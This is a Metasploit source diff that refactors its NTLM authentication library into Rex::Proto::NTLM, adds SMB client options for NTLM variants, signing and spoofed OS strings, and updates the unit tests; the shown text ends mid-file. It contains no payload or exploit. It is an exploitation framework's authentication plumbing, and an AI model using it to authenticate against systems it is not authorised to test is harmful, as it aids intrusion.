diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index 992af8322e..24b2a1c1bc 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -285,7 +285,7 @@ module Exploit::Remote::HttpClient # Get the challenge and craft the response ntlm_challenge = resp.headers['WWW-Authenticate'].match(/NTLM ([A-Z0-9\x2b\x2f=]+)/i)[1] return [nil,nil] unless ntlm_challenge - ntlm_message_2 = Net::NTLM::Message.decode64(ntlm_challenge) + ntlm_message_2 = Rex::Proto::NTLM::Message.decode64(ntlm_challenge) ntlm_message_3 = ntlm_message_2.response( { :user => opts['username'], diff --git a/lib/msf/core/exploit/smb.rb b/lib/msf/core/exploit/smb.rb index 00b5412e14..fb1785b57d 100644 --- a/lib/msf/core/exploit/smb.rb +++ b/lib/msf/core/exploit/smb.rb @@ -1,7 +1,10 @@ require 'rex/proto/smb' require 'rex/proto/dcerpc' require 'rex/encoder/ndr' -require 'net/ntlm' +require 'rex/proto/ntlm/constants' +require 'rex/proto/ntlm/crypt' +require 'rex/proto/ntlm/base' +require 'rex/proto/ntlm/message' module Msf @@ -39,6 +42,7 @@ module Exploit::Remote::SMB OptString.new('SMBUser', [ false, 'The username to authenticate as', '']), OptString.new('SMBPass', [ false, 'The password for the specified username', '']), OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', 'WORKGROUP']), + OptBool.new('NTLM_UseNTLMv2', [ true, "Use NTLMv2 instead of NTLM2_session when \'Negotiate NTLM2\' key is true (default on vista and above)\n[valid when NTLM_UseNTLM2_session = true]", false]), ], Msf::Exploit::Remote::SMB::Authenticated) end end @@ -65,7 +69,18 @@ module Exploit::Remote::SMB OptString.new('SMBUser', [ false, 'The username to authenticate as', '']), OptString.new('SMBPass', [ false, 'The password for the specified username', '']), OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', '.']), - OptString.new('SMBName', [ true, 'The NetBIOS hostname (required for port 139 connections)', '*SMBSERVER']) + OptString.new('SMBName', [ true, 'The NetBIOS hostname (required for port 139 connections)', '*SMBSERVER']), + OptBool.new('SMB_Verify_Signature', [ true, "When set this parameter will require server to correctly sign smb packets", false]), + OptInt.new('SMB_CHUNK_SIZE', [ true, 'The chunk size for writing, bigger values will increase speed but may result in STATUS_ACCESS_DENIED in presence of signing, nt4 also do not like big values', 500]), + OptString.new('SMBNative_OS', [ true, 'The Native OS to send during authentification', 'Windows 2000 2195']), + OptString.new('SMBNative_LM', [ true, 'The Native LM to send during authentification', 'Windows 2000 5.0']), + OptBool.new('NTLM_UseNTLMv2', [ true, "Use NTLMv2 instead of NTLM2_session when \'Negotiate NTLM2\' key is true (default on vista and above)\n[valid when NTLM_UseNTLM2_session = true]", false]), + OptBool.new('NTLM_UseNTLM2_session', [ true, 'Activate the \'Negotiate NTLM2 key\' flag in ntlm authentification, when set client will use ntlm2_session instead of ntlmv1 (default on win 2K and above)', true]), + OptBool.new('NTLM_Send_LM', [ true, "When set, client will send lm response, this has no effect on ntlm2_session response ( vista and above do not send lm response by default)\n[no effect when NTLM_UseNTLM2_session = true, NTLM_UseNTLMv2 = false or NTLM_Send_NTLM = false]", true]), + OptBool.new('NTLM_Use_LanManager_key', [ true, "Activate \'Negotiate Lan Manager Key\' in ntlm authentification, when this flag is set, server will require client to use lanman signing key, this parameter has effect only when ntlmv1 response is used and lm response is sent \n[valid when NTLM_Send_LM = true ,NTLM_Send_NTLM = true, NTLM_UseNTLM2_session = false]", false]), + OptBool.new('NTLM_Send_NTLM', [ true, 'Activate \'Negotiate NTLM key\' in ntlm authentification, when not set client will not send NTLM response (default behavior on old windows like win 95) this parameter should not be changed', true]), + + ], Msf::Exploit::Remote::SMB) register_options( @@ -126,11 +141,21 @@ module Exploit::Remote::SMB datastore['SMBName'], datastore['SMBUser'], datastore['SMBPass'], - datastore['SMBDomain'] + datastore['SMBDomain'], + datastore['SMB_Verify_Signature'], + datastore['NTLM_UseNTLMv2'], + datastore['NTLM_UseNTLM2_session'], + datastore['NTLM_Send_LM'], + datastore['NTLM_Use_LanManager_key'], + datastore['NTLM_Send_NTLM'], + datastore['SMBNative_OS'], + datastore['SMBNative_LM'] + ) simple.connect("\\\\#{datastore['RHOST']}\\IPC$") end + # This method returns the native operating system of the peer def smb_peer_os self.simple.client.peer_native_os @@ -146,6 +171,13 @@ module Exploit::Remote::SMB self.simple.create_pipe(pipe) end + #the default chunk size of 48000 for OpenFile is not compatible when signing is enabled (and with some nt4 implementations) + #cause it looks like MS windows refuse to sign big packet and send STATUS_ACCESS_DENIED + #fd.chunk_size = 500 is better + def smb_open(path, perm) + self.simple.open(path, perm, datastore['SMB_CHUNK_SIZE']) + end + def smb_hostname datastore['SMBName'] || '*SMBSERVER' end @@ -624,7 +656,11 @@ module Exploit::Remote::SMBServer UTILS = ::Rex::Proto::SMB::Utils XCEPT = ::Rex::Proto::SMB::Exceptions EVADE = ::Rex::Proto::SMB::Evasions - NTLM = Net::NTLM + NTLM_CONST = ::Rex::Proto::NTLM::Constants + NTLM_CRYPT = ::Rex::Proto::NTLM::Crypt + NTLM_UTILS = ::Rex::Proto::NTLM::Utils + NTLM_BASE = ::Rex::Proto::NTLM::Base + NTLM_MESSAGE = ::Rex::Proto::NTLM::Message def initialize(info = {}) super diff --git a/lib/net/ntlm.rb b/lib/net/ntlm.rb deleted file mode 100644 index 604e96db94..0000000000 --- a/lib/net/ntlm.rb +++ /dev/null @@ -1,790 +0,0 @@ -# -# = net/ntlm.rb -# -# An NTLM Authentication Library for Ruby -# -# This code is a derivative of "dbf2.rb" written by yrock -# and Minero Aoki. You can find original code here: -# http://jp.rubyist.net/magazine/?0013-CodeReview -# ------------------------------------------------------------- -# Copyright (c) 2005,2006 yrock -# -# This program is free software. -# You can distribute/modify this program under the terms of the -# Ruby License. -# -# 2006-02-11 refactored by Minero Aoki -# ------------------------------------------------------------- -# -# All protocol information used to write this code stems from -# "The NTLM Authentication Protocol" by Eric Glass. The author -# would thank to him for this tremendous work and making it -# available on the net. -# http://davenport.sourceforge.net/ntlm.html -# ------------------------------------------------------------- -# Copyright (c) 2003 Eric Glass -# -# Permission to use, copy, modify, and distribute this document -# for any purpose and without any fee is hereby granted, -# provided that the above copyright notice and this list of -# conditions appear in all copies. -# ------------------------------------------------------------- -# -# The author also looked Mozilla-Firefox-1.0.7 source code, -# namely, security/manager/ssl/src/nsNTLMAuthModule.cpp and -# Jonathan Bastien-Filiatrault's libntlm-ruby. -# "http://x2a.org/websvn/filedetails.php? -# repname=libntlm-ruby&path=%2Ftrunk%2Fntlm.rb&sc=1" -# The latter has a minor bug in its separate_keys function. -# The third key has to begin from the 14th character of the -# input string instead of 13th:) -#-- -# $Id$ -#++ - -require 'base64' -require 'openssl' -require 'openssl/digest' -require 'kconv' - -module Net #:nodoc: - module NTLM - - module VERSION #:nodoc: - MAJOR = 0 - MINOR = 1 - TINY = 1 - STRING = [MAJOR, MINOR, TINY].join('.') - end - - SSP_SIGN = "NTLMSSP\0" - BLOB_SIGN = 0x00000101 - LM_MAGIC = "KGS!@\#$%" - TIME_OFFSET = 11644473600 - MAX64 = 0xffffffffffffffff - - FLAGS = { - :UNICODE => 0x00000001, - :OEM => 0x00000002, - :REQUEST_TARGET => 0x00000004, - # :UNKNOWN => 0x00000008, - :SIGN => 0x00000010, - :SEAL => 0x00000020, - # :UNKNOWN => 0x00000040, - :NETWARE => 0x00000100, - :NTLM => 0x00000200, - # :UNKNOWN => 0x00000400, - # :UNKNOWN => 0x00000800, - :DOMAIN_SUPPLIED => 0x00001000, - :WORKSTATION_SUPPLIED => 0x00002000, - :LOCAL_CALL => 0x00004000, - :ALWAYS_SIGN => 0x00008000, - :TARGET_TYPE_DOMAIN => 0x00010000, - :TARGET_INFO => 0x00800000, - :NTLM2_KEY => 0x00080000, - :KEY128 => 0x20000000, - :KEY56 => 0x80000000 - } - - FLAG_KEYS = FLAGS.keys.sort{|a, b| FLAGS[a] <=> FLAGS[b] } - - DEFAULT_FLAGS = { - :TYPE1 => FLAGS[:UNICODE] | FLAGS[:OEM] | FLAGS[:REQUEST_TARGET] | FLAGS[:NTLM] | FLAGS[:ALWAYS_SIGN] | FLAGS[:NTLM2_KEY], - :TYPE2 => FLAGS[:UNICODE], - :TYPE3 => FLAGS[:UNICODE] | FLAGS[:REQUEST_TARGET] | FLAGS[:NTLM] | FLAGS[:ALWAYS_SIGN] | FLAGS[:NTLM2_KEY] - } - - # module functions - class << self - def decode_utf16le(str) - Kconv.kconv(swap16(str), Kconv::ASCII, Kconv::UTF16) - end - - def encode_utf16le(str) - swap16(Kconv.kconv(str, Kconv::UTF16, Kconv::ASCII)) - end - - def pack_int64le(val) - [val & 0x00000000ffffffff, val >> 32].pack("V2") - end - - def swap16(str) - str.unpack("v*").pack("n*") - end - - def split7(str) - s = str.dup - until s.empty? - (ret ||= []).push s.slice!(0, 7) - end - ret - end - - def gen_keys(str) - split7(str).map{ |str7| - bits = split7(str7.unpack("B*")[0]).inject('')\ - {|ret, tkn| ret += tkn + (tkn.gsub('1', '').size % 2).to_s } - [bits].pack("B*") - } - end - - def apply_des(plain, keys) - dec = OpenSSL::Cipher::DES.new - keys.map {|k| - dec.key = k - dec.encrypt.update(plain) - } - end - - def lm_hash(password, half = false) - if half then size = 7 else size = 14 end - keys = gen_keys password.upcase.ljust(size, "\0") - apply_des(LM_MAGIC, keys).join - end - - def ntlm_hash(password, opt = {}) - pwd = password.dup - unless opt[:unicode] - pwd = encode_utf16le(pwd) - end - OpenSSL::Digest::MD4.digest pwd - end - - def ntlmv2_hash(user, password, domain, opt={}) - ntlmhash = ntlm_hash(password, opt) - #With Win 7 and maybe other OSs i sometimes get my domain not uppercased, so the domain does not always need to be in uppercase - userdomain = user.upcase + domain - unless opt[:unicode] - userdomain = encode_utf16le(userdomain) - end - OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, ntlmhash, userdomain) - end - - # responses - def lm_response(arg, half = false) - begin - hash = arg[:lm_hash] - chal = arg[:challenge] - rescue - raise ArgumentError - end - chal = NTL::pack_int64le(chal) if chal.is_a?(Integer) - if half then size = 7 else size = 21 end - keys = gen_keys hash.ljust(size, "\0") - apply_des(chal, keys).join - end - - def ntlm_response(arg) - hash = arg[:ntlm_hash] - chal = arg[:challenge] - chal = NTL::pack_int64le(chal) if chal.is_a?(::Integer) - keys = gen_keys hash.ljust(21, "\0") - apply_des(chal, keys).join - end - - def ntlmv2_response(arg, opt = {}) - begin - key = arg[:ntlmv2_hash] - chal = arg[:challenge] - rescue - raise ArgumentError , 'ntlmv2_hash and challenge are mandatory' - end - chal = NTL::pack_int64le(chal) if chal.is_a?(::Integer) - if opt[:nt_client_challenge] - unless opt[:nt_client_challenge].is_a?(::String) && opt[:nt_client_challenge].length > 24 - raise ArgumentError,"nt_client_challenge is not in a correct format " - end - bb = opt[:nt_client_challenge] - else - begin - ti = arg[:target_info] - rescue - raise ArgumentError, "target_info is mandatory in this case" - end - if opt[:client_challenge] - cc = opt[:client_challenge] - else - cc = rand(MAX64) - end - cc = NTLM::pack_int64le(cc) if cc.is_a?(::Integer) - - if opt[:timestamp] - ts = opt[:timestamp] - else - ts = Time.now.to_i - end - # epoch -> milsec from Jan 1, 1601 - ts = 10000000 * (ts + TIME_OFFSET) - - blob = Blob.new - blob.timestamp = ts - blob.challenge = cc - blob.target_info = ti - - bb = blob.serialize - end - - OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, key, chal + bb) + bb - - end - - - def lmv2_response(arg, opt = {}) - key = arg[:ntlmv2_hash] - chal = arg[:challenge] - - chal = NTLM::pack_int64le(chal) if chal.is_a?(::Integer) - if opt[:client_challenge] - cc = opt[:client_challenge] - else - cc = rand(MAX64) - end - cc = NTLM::pack_int64le(cc) if cc.is_a?(::Integer) - - OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, key, chal + cc) + cc - end - - def ntlm2_session(arg, opt = {}) - begin - passwd_hash = arg[:ntlm_hash] - chal = arg[:challenge] - rescue - raise ArgumentError - end - - if opt[:client_challenge] - cc = opt[:client_challenge] - else - cc = rand(MAX64) - end - cc = NTLM::pack_int64le(cc) if cc.is_a?(Integer) - - keys = gen_keys passwd_hash.ljust(21, "\0") - session_hash = OpenSSL::Digest::MD5.digest(chal + cc).slice(0, 8) - response = apply_des(session_hash, keys).join - [cc.ljust(24, "\0"), response] - end - end - - - # base classes for primitives - class Field - attr_accessor :active, :value - - def initialize(opts) - @value = opts[:value] - @active = opts[:active].nil? ? true : opts[:active] - end - - def size - @active ? @size : 0 - end - end - - class String < Field - def initialize(opts) - super(opts) - @size = opts[:size] - end - - def parse(str, offset=0) - if @active and str.size >= offset + @size - @value = str[offset, @size] - @size - else - 0 - end - end - - def serialize - if @active - @value - else - "" - end - end - - def value=(val) - @value = val - @size = @value.nil? ? 0 : @value.size - @active = (@size > 0) - end - end - - - class Int16LE < Field - def initialize(opt) - super(opt) - @size = 2 - end - def parse(str, offset=0) - if @active and str.size >= offset + @size - @value = str[offset, @size].unpack("v")[0] - @size - else - 0 - end - end - - def serialize - [@value].pack("v") - end - end - - class Int32LE < Field - def initialize(opt) - super(opt) - @size = 4 - end - - def parse(str, offset=0) - if @active and str.size >= offset + @size - @value = str.slice(offset, @size).unpack("V")[0] - @size - else - 0 - end - end - - def serialize - [@value].pack("V") if @active - end - end - - class Int64LE < Field - def initialize(opt) - super(opt) - @size = 8 - end - - def parse(str, offset=0) - if @active and str.size >= offset + @size - d, u = str.slice(offset, @size).unpack("V2") - @value = (u * 0x100000000 + d) - @size - else - 0 - end - end - - def serialize - [@value & 0x00000000ffffffff, @value >> 32].pack("V2") if @active - end - end - - # base class of data structure - class FieldSet - class << FieldSet - def define(&block) - c = Class.new(self) - def c.inherited(subclass) - proto = @proto - subclass.instance_eval { - @proto = proto - } - end - c.module_eval(&block) - c - end - - def string(name, opts) - add_field(name, String, opts) - end - - def int16LE(name, opts) - add_field(name, Int16LE, opts) - end - - def int32LE(name, opts) - add_field(name, Int32LE, opts) - end - - def int64LE(name, opts) - add_field(name, Int64LE, opts) - end - - def security_buffer(name, opts) - add_field(name, SecurityBuffer, opts) - end - - def prototypes - @proto - end - - def names - @proto.map{|n, t, o| n} - end - - def types - @proto.map{|n, t, o| t} - end - - def opts - @proto.map{|n, t, o| o} - end - - private - - def add_field(name, type, opts) - (@proto ||= []).push [name, type, opts] - define_accessor name - end - - def define_accessor(name) - module_eval(<<-End, __FILE__, __LINE__ + 1) - def #{name} - self['#{name}'].value - end - - def #{name}=(val) - self['#{name}'].value = val - end - End - end - end - - def initialize - @alist = self.class.prototypes.map{ |n, t, o| [n, t.new(o)] } - end - - def serialize - @alist.map{|n, f| f.serialize }.join - end - - def parse(str, offset=0) - @alist.inject(offset){|cur, a| cur += a[1].parse(str, cur)} - end - - def size - @alist.inject(0){|sum, a| sum += a[1].size} - end - - def [](name) - a = @alist.assoc(name.to_s.intern) - raise ArgumentError, "no such field: #{name}" unless a - a[1] - end - - def []=(name, val) - a = @alist.assoc(name.to_s.intern) - raise ArgumentError, "no such field: #{name}" unless a - a[1] = val - end - - def enable(name) - self[name].active = true - end - - def disable(name) - self[name].active = false - end - end - - - Blob = FieldSet.define { - int32LE :blob_signature, {:value => BLOB_SIGN} - int32LE :reserved, {:value => 0} - int64LE :timestamp, {:value => 0} - string :challenge, {:value => "", :size => 8} - int32LE :unknown1, {:value => 0} - string :target_info, {:value => "", :size => 0} - int32LE :unknown2, {:value => 0} - } - - SecurityBuffer = FieldSet.define { - int16LE :length, {:value => 0} - int16LE :allocated, {:value => 0} - int32LE :offset, {:value => 0} - } - - class SecurityBuffer - attr_accessor :active - def initialize(opts) - super() - @value = opts[:value] - @active = opts[:active].nil? ? true : opts[:active] - @size = 8 - end - - def parse(str, offset=0) - if @active and str.size >= offset + @size - super(str, offset) - @value = str[self.offset, self.length] - @size - else - 0 - end - end - - def serialize - super if @active - end - - def value - @value - end - - def value=(val) - @value = val - self.length = self.allocated = val.size - end - - def data_size - @active ? @value.size : 0 - end - end - - class Message < FieldSet - class << Message - def parse(str) - m = Type0.new - m.parse(str) - case m.type - when 1 - t = Type1.parse(str) - when 2 - t = Type2.parse(str) - when 3 - t = Type3.parse(str) - else - raise ArgumentError, "unknown type: #{m.type}" - end - t - end - - def decode64(str) - parse(Base64.decode64(str)) - end - end - - def has_flag?(flag) - (self[:flag].value & FLAGS[flag]) == FLAGS[flag] - end - - def set_flag(flag) - self[:flag].value |= FLAGS[flag] - end - - def dump_flags - FLAG_KEYS.each{ |k| print(k, "=", flag?(k), "\n") } - end - - def serialize - deflag - super + security_buffers.map{|n, f| f.value}.join - end - - def encode64 - Base64.encode64(serialize).gsub(/\n/, '') - end - - def decode64(str) - parse(Base64.decode64(str)) - end - - alias head_size size - - def data_size - security_buffers.inject(0){|sum, a| sum += a[1].data_size} - end - - def size - head_size + data_size - end - - - private - - def security_buffers - @alist.find_all{|n, f| f.instance_of?(SecurityBuffer)} - end - - def deflag - security_buffers.inject(head_size){|cur, a| - a[1].offset = cur - cur += a[1].data_size - } - end - - def data_edge - security_buffers.map{ |n, f| f.active ? f.offset : size}.min - end - - # sub class definitions - - Type0 = Message.define { - string :sign, {:size => 8, :value => SSP_SIGN} - int32LE :type, {:value => 0} - } - - Type1 = Message.define { - string :sign, {:size => 8, :value => SSP_SIGN} - int32LE :type, {:value => 1} - int32LE :flag, {:value => DEFAULT_FLAGS[:TYPE1] } - security_buffer :domain, {:value => "", :active => false} - security_buffer :workstation, {:value => "", :active => false} - string :padding, {:size => 0, :value => "", :active => false } - } - - class Type1 - class << Type1 - def parse(str) - t = new - t.parse(str) - t - end - end - - def parse(str) - super(str) - enable(:domain) if has_flag?(:DOMAIN_SUPPLIED) - enable(:workstation) if has_flag?(:WORKSTATION_SUPPLIED) - super(str) - if ( (len = data_edge - head_size) > 0) - self.padding = "\0" * len - super(str) - end - end - end - - Type2 = Message.define{ - string :sign, {:size => 8, :value => SSP_SIGN} - int32LE :type, {:value => 2} - security_buffer :target_name, {:size => 0, :value => ""} - int32LE :flag, {:value => DEFAULT_FLAGS[:TYPE2]} - int64LE :challenge, {:value => 0} - int64LE :context, {:value => 0, :active => false} - security_buffer :target_info, {:value => "", :active => false} - string :padding, {:size => 0, :value => "", :active => false } - } - - class Type2 - class << Type2 - def parse(str) - t = new - t.parse(str) - t - end - end - - def parse(str) - super(str) - if has_flag?(:TARGET_INFO) - enable(:context) - enable(:target_info) - super(str) - end - if ( (len = data_edge - head_size) > 0) - self.padding = "\0" * len - super(str) - end - end - - def response(arg, opt = {}) - usr = arg[:user] - pwd = arg[:password] - if usr.nil? or pwd.nil? - raise ArgumentError, "user and password have to be supplied" - end - - if opt[:workstation] - ws = opt[:workstation] - else - ws = "" - end - - if opt[:client_challenge] - cc = opt[:client_challenge] - else - cc = rand(MAX64) - end - cc = NTLM::pack_int64le(cc) if cc.is_a?(Integer) - opt[:client_challenge] = cc - - if has_flag?(:OEM) and opt[:unicode] - usr = NTLM::decode_utf16le(usr) - pwd = NTLM::decode_utf16le(pwd) - ws = NTLM::decode_utf16le(ws) - opt[:unicode] = false - end - - if has_flag?(:UNICODE) and !opt[:unicode] - usr = NTLM::encode_utf16le(usr) - pwd = NTLM::encode_utf16le(pwd) - ws = NTLM::encode_utf16le(ws) - opt[:unicode] = true - end - - tgt = self.target_name - ti = self.target_info - - chal = self[:challenge].serialize - - if opt[:ntlmv2] - ar = {:ntlmv2_hash => NTLM::ntlmv2_hash(usr, pwd, tgt, opt), :challenge => chal, :target_info => ti} - lm_res = NTLM::lmv2_response(ar, opt) - ntlm_res = NTLM::ntlmv2_response(ar, opt) - elsif has_flag?(:NTLM2_KEY) - ar = {:ntlm_hash => NTLM::ntlm_hash(pwd, opt), :challenge => chal} - lm_res, ntlm_res = NTLM::ntlm2_session(ar, opt) - else - lm_res = NTLM::lm_response(pwd, chal) - ntlm_res = NTLM::ntlm_response(pwd, chal) - end - - Type3.create({ - :lm_response => lm_res, - :ntlm_response => ntlm_res, - :domain => tgt, - :user => usr, - :workstation => ws, - :flag => self.flag - }) - end - end - - - Type3 = Message.define{ - string :sign, {:size => 8, :value => SSP_SIGN} - int32LE :type, {:value => 3} - security_buffer :lm_response, {:value => ""} - security_buffer :ntlm_response, {:value => ""} - security_buffer :domain, {:value => ""} - security_buffer :user, {:value => ""} - security_buffer :workstation, {:value => ""} - security_buffer :session_key, {:value => "", :active => false } - int64LE :flag, {:value => 0, :active => false } - } - - class Type3 - class << Type3 - def parse(str) - t = new - t.parse(str) - t - end - - def create(arg, opt ={}) - t = new - t.lm_response = arg[:lm_response] - t.ntlm_response = arg[:ntlm_response] - t.domain = arg[:domain] - t.user = arg[:user] - t.workstation = arg[:workstation] - - if arg[:session_key] - t.enable(:session_key) - t.session_key = arg[session_key] - end - if arg[:flag] - t.enable(:session_key) - t.enable(:flag) - t.flag = arg[:flag] - end - t - end - end - end - end - end -end diff --git a/lib/rex/proto.rb b/lib/rex/proto.rb index f91e9308b4..c5f1b773d1 100644 --- a/lib/rex/proto.rb +++ b/lib/rex/proto.rb @@ -1,5 +1,6 @@ require 'rex/proto/http' require 'rex/proto/smb' +require 'rex/proto/ntlm' require 'rex/proto/dcerpc' require 'rex/proto/drda' diff --git a/lib/rex/proto/ntlm.rb b/lib/rex/proto/ntlm.rb new file mode 100644 index 0000000000..ff416f3733 --- /dev/null +++ b/lib/rex/proto/ntlm.rb @@ -0,0 +1,7 @@ +require 'rex/proto/ntlm/constants' +require 'rex/proto/ntlm/exceptions' +require 'rex/proto/ntlm/crypt' +require 'rex/proto/ntlm/utils' +require 'rex/proto/ntlm/base' +require 'rex/proto/ntlm/message' + diff --git a/lib/net/ntlm.rb.ut.rb b/lib/rex/proto/ntlm.rb.ut.rb old mode 100755 new mode 100644 similarity index 79% rename from lib/net/ntlm.rb.ut.rb rename to lib/rex/proto/ntlm.rb.ut.rb index e25584983b..0ad2d4d0cc --- a/lib/net/ntlm.rb.ut.rb +++ b/lib/rex/proto/ntlm.rb.ut.rb @@ -1,6 +1,6 @@ #!/usr/bin/env ruby require 'test/unit' -require 'net/ntlm' +require 'rex/proto/ntlm' require 'rex/socket' class ConnectionTest < Test::Unit::TestCase @@ -35,7 +35,7 @@ class ConnectionTest < Test::Unit::TestCase end def client_auth(pw) - msg_1 = Net::NTLM::Message::Type1.new + msg_1 = Rex::Proto::NTLM::Message::Type1.new get_req = http_message(msg_1) socket = Rex::Socket.create_tcp( 'PeerHost' => @host, @@ -46,7 +46,7 @@ class ConnectionTest < Test::Unit::TestCase assert res =~ /WWW-Authenticate: NTLM TlRM/ res_ntlm = res.match(/WWW-Authenticate: NTLM ([A-Z0-9\x2b\x2f=]+)/i)[1] assert_operator res_ntlm.size, :>=, 24 - msg_2 = Net::NTLM::Message.decode64(res_ntlm) + msg_2 = Rex::Proto::NTLM::Message.decode64(res_ntlm) assert msg_2 msg_3 = msg_2.response({:user => @user, :password => pw}, {:ntlmv2 => true}) assert msg_3 @@ -90,24 +90,24 @@ class FunctionTest < Test::Unit::TestCase #:nodoc: def test_lm_hash ahash = ["ff3750bcc2b22412c2265b23734e0dac"].pack("H*") - assert_equal ahash, Net::NTLM::lm_hash(@passwd) + assert_equal ahash, Rex::Proto::NTLM::Crypt::lm_hash(@passwd) end def test_ntlm_hash ahash = ["cd06ca7c7e10c99b1d33b7485a2ed808"].pack("H*") - assert_equal ahash, Net::NTLM::ntlm_hash(@passwd) + assert_equal ahash, Rex::Proto::NTLM::Crypt::ntlm_hash(@passwd) end def test_ntlmv2_hash ahash = ["04b8e0ba74289cc540826bab1dee63ae"].pack("H*") - assert_equal ahash, Net::NTLM::ntlmv2_hash(@user, @passwd, @domain) + assert_equal ahash, Rex::Proto::NTLM::Crypt::ntlmv2_hash(@user, @passwd, @domain) end def test_lm_response ares = ["c337cd5cbd44fc9782a667af6d427c6de67c20c2d3e77c56"].pack("H*") - assert_equal ares, Net::NTLM::lm_response( + assert_equal ares, Rex::Proto::NTLM::Crypt::lm_response( { - :lm_hash => Net::NTLM::lm_hash(@passwd), + :lm_hash => Rex::Proto::NTLM::Crypt::lm_hash(@passwd), :challenge => @challenge } ) @@ -115,8 +115,8 @@ class FunctionTest < Test::Unit::TestCase #:nodoc: def test_ntlm_response ares = ["25a98c1c31e81847466b29b2df4680f39958fb8c213a9cc6"].pack("H*") - ntlm_hash = Net::NTLM::ntlm_hash(@passwd) - assert_equal ares, Net::NTLM::ntlm_response( + ntlm_hash = Rex::Proto::NTLM::Crypt::ntlm_hash(@passwd) + assert_equal ares, Rex::Proto::NTLM::Crypt::ntlm_response( { :ntlm_hash => ntlm_hash, :challenge => @challenge @@ -126,9 +126,9 @@ class FunctionTest < Test::Unit::TestCase #:nodoc: def test_lmv2_response ares = ["d6e6152ea25d03b7c6ba6629c2d6aaf0ffffff0011223344"].pack("H*") - assert_equal ares, Net::NTLM::lmv2_response( + assert_equal ares, Rex::Proto::NTLM::Crypt::lmv2_response( { - :ntlmv2_hash => Net::NTLM::ntlmv2_hash(@user, @passwd, @domain), + :ntlmv2_hash => Rex::Proto::NTLM::Crypt::ntlmv2_hash(@user, @passwd, @domain), :challenge => @challenge }, { :client_challenge => @client_ch } @@ -148,9 +148,9 @@ class FunctionTest < Test::Unit::TestCase #:nodoc: "6e002e0063006f006d00000000000000" + "0000" ].pack("H*") - assert_equal ares, Net::NTLM::ntlmv2_response( + assert_equal ares, Rex::Proto::NTLM::Crypt::ntlmv2_response( { - :ntlmv2_hash => Net::NTLM::ntlmv2_hash(@user, @passwd, @domain), + :ntlmv2_hash => Rex::Proto::NTLM::Crypt::ntlmv2_hash(@user, @passwd, @domain), :challenge => @challenge, :target_info => @trgt_info }, @@ -164,9 +164,9 @@ class FunctionTest < Test::Unit::TestCase #:nodoc: def test_ntlm2_session acha = ["ffffff001122334400000000000000000000000000000000"].pack("H*") ares = ["10d550832d12b2ccb79d5ad1f4eed3df82aca4c3681dd455"].pack("H*") - session = Net::NTLM::ntlm2_session( + session = Rex::Proto::NTLM::Crypt::ntlm2_session( { - :ntlm_hash => Net::NTLM::ntlm_hash(@passwd), + :ntlm_hash => Rex::Proto::NTLM::Crypt::ntlm_hash(@passwd), :challenge => @challenge }, { :client_challenge => @client_ch } diff --git a/lib/rex/proto/ntlm/base.rb b/lib/rex/proto/ntlm/base.rb new file mode 100644 index 0000000000..41d72fe2e2 --- /dev/null +++ b/lib/rex/proto/ntlm/base.rb @@ -0,0 +1,326 @@ +# +# An NTLM Authentication Library for Ruby +# +# This code is a derivative of "dbf2.rb" written by yrock +# and Minero Aoki. You can find original code here: +# http://jp.rubyist.net/magazine/?0013-CodeReview +# ------------------------------------------------------------- +# Copyright (c) 2005,2006 yrock +# +# This program is free software. +# You can distribute/modify this program under the terms of the +# Ruby License. +# +# 2011-02-23 refactored by Alexandre Maloteaux for Metasploit Project +# ------------------------------------------------------------- +# +# 2006-02-11 refactored by Minero Aoki +# ------------------------------------------------------------- +# +# All protocol information used to write this code stems from +# "The NTLM Authentication Protocol" by Eric Glass. The author +# would thank to him for this tremendous work and making it +# available on the net. +# http://davenport.sourceforge.net/ntlm.html +# ------------------------------------------------------------- +# Copyright (c) 2003 Eric Glass +# +# Permission to use, copy, modify, and distribute this document +# for any purpose and without any fee is hereby granted, +# provided that the above copyright notice and this list of +# conditions appear in all copies. +# ------------------------------------------------------------- +# +# The author also looked Mozilla-Firefox-1.0.7 source code, +# namely, security/manager/ssl/src/nsNTLMAuthModule.cpp and +# Jonathan Bastien-Filiatrault's libntlm-ruby. +# "http://x2a.org/websvn/filedetails.php? +# repname=libntlm-ruby&path=%2Ftrunk%2Fntlm.rb&sc=1" +# The latter has a minor bug in its separate_keys function. +# The third key has to begin from the 14th character of the +# input string instead of 13th:) +#-- +# $Id: ntlm.rb 11678 2011-01-30 19:26:35Z hdm $ +#++ + +#this class defines the base type needed for other modules like message and crypt + +require 'rex/proto/ntlm/constants' + +module Rex +module Proto +module NTLM +class Base + +CONST = Rex::Proto::NTLM::Constants + + # base classes for primitives + class Field + attr_accessor :active, :value + + def initialize(opts) + @value = opts[:value] + @active = opts[:active].nil? ? true : opts[:active] + end + + def size + @active ? @size : 0 + end + end + + class String < Field + def initialize(opts) + super(opts) + @size = opts[:size] + end + + def parse(str, offset=0) + if @active and str.size >= offset + @size + @value = str[offset, @size] + @size + else + 0 + end + end + + def serialize + if @active + @value + else + "" + end + end + + def value=(val) + @value = val + @size = @value.nil? ? 0 : @value.size + @active = (@size > 0) + end + end + + class Int16LE < Field + def initialize(opt) + super(opt) + @size = 2 + end + + def parse(str, offset=0) + if @active and str.size >= offset + @size + @value = str[offset, @size].unpack("v")[0] + @size + else + 0 + end + end + + def serialize + [@value].pack("v") + end + end + + class Int32LE < Field + def initialize(opt) + super(opt) + @size = 4 + end + + def parse(str, offset=0) + if @active and str.size >= offset + @size + @value = str.slice(offset, @size).unpack("V")[0] + @size + else + 0 + end + end + + def serialize + [@value].pack("V") if @active + end + end + + class Int64LE < Field + def initialize(opt) + super(opt) + @size = 8 + end + + def parse(str, offset=0) + if @active and str.size >= offset + @size + d, u = str.slice(offset, @size).unpack("V2") + @value = (u * 0x100000000 + d) + @size + else + 0 + end + end + + def serialize + [@value & 0x00000000ffffffff, @value >> 32].pack("V2") if @active + end + end + + # base class of data structure + class FieldSet + class << FieldSet + def define(&block) + c = Class.new(self) + def c.inherited(subclass) + proto = @proto + subclass.instance_eval { + @proto = proto + } + end + c.module_eval(&block) + c + end + + def string(name, opts) + add_field(name, String, opts) + end + + def int16LE(name, opts) + add_field(name, Int16LE, opts) + end + + def int32LE(name, opts) + 